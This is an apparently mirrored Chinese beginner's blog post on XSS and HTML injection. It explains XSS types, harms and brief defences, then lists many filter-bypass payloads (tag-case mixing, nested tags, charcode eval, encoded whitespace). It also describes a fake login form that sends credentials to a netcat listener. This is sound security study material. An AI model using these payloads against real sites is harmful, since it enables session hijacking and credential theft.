zoukankan      html  css  js  c++  java
  • WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入

    零、前言

      最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

    一、XSS:

      1、本质:

        XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。

      2、分类:    

     1 //1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
     2 /*https://www.test.com/XSS?string='一段js脚本'*/
     3 <script>alert(1)</script>
     4 //2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
     5 /*https://www.test.com/XSS?store='一段js脚本'*/
     6 <script>alert(1)</script>
     7 /*https://www.test.com/show触发*/
     8 //3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
     9 <script>
    10     function xssattack(){
    11         var str = document.getElementById("text").value;
    12         document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
    13 }</script>
    14 //如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。

      3、危害:   

      (1)盗取Cookie
      (2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
      (3)增删改查用户可以增删改查的任何东西
      (4)钓鱼甚至蠕虫(终极武器)

      4、常见的payload:

       (1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>

       (2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>

       (3)以上特殊字符编码成URL编码

       (4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>

       (5)";alert(1);"【本身在<script>标签内】

       (6)<img src=javascript:alert(1)>,<div style="&#123&#43...&#72">【或者hex、base64编码】,<script src='/filepath/filename'></script>

       (7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>

       (8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'

         (9)alert()中()被过滤可以尝试使用``反引号

        (10)url;<script>alert(1)</script>url反射

      5、防御:

        (1)过滤用户输入

        (2)输出之前进行实体编码

    二、更广泛的HTML注入:

      1、本质:

        向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。

      2、payload:

        <a href='http://www.baidu.com'>

        paramwidth ="" onload=alert(1)></ifrmae>//"

      3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。

  • 相关阅读:
    如何根据关键字匹配度排序
    LeetCode 题解目录
    Spring Boot、Cloucd 学习示例
    JavaScript工具库
    使用 Docker 部署 Spring Boot 项目
    LeetCode 寻找两个有序数组的中位数
    Bean 生命周期
    Dubbo支持的协议
    MySQL组成模块
    Spring Boot 搭建TCP Server
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8251103.html
Copyright © 2011-2022 走看看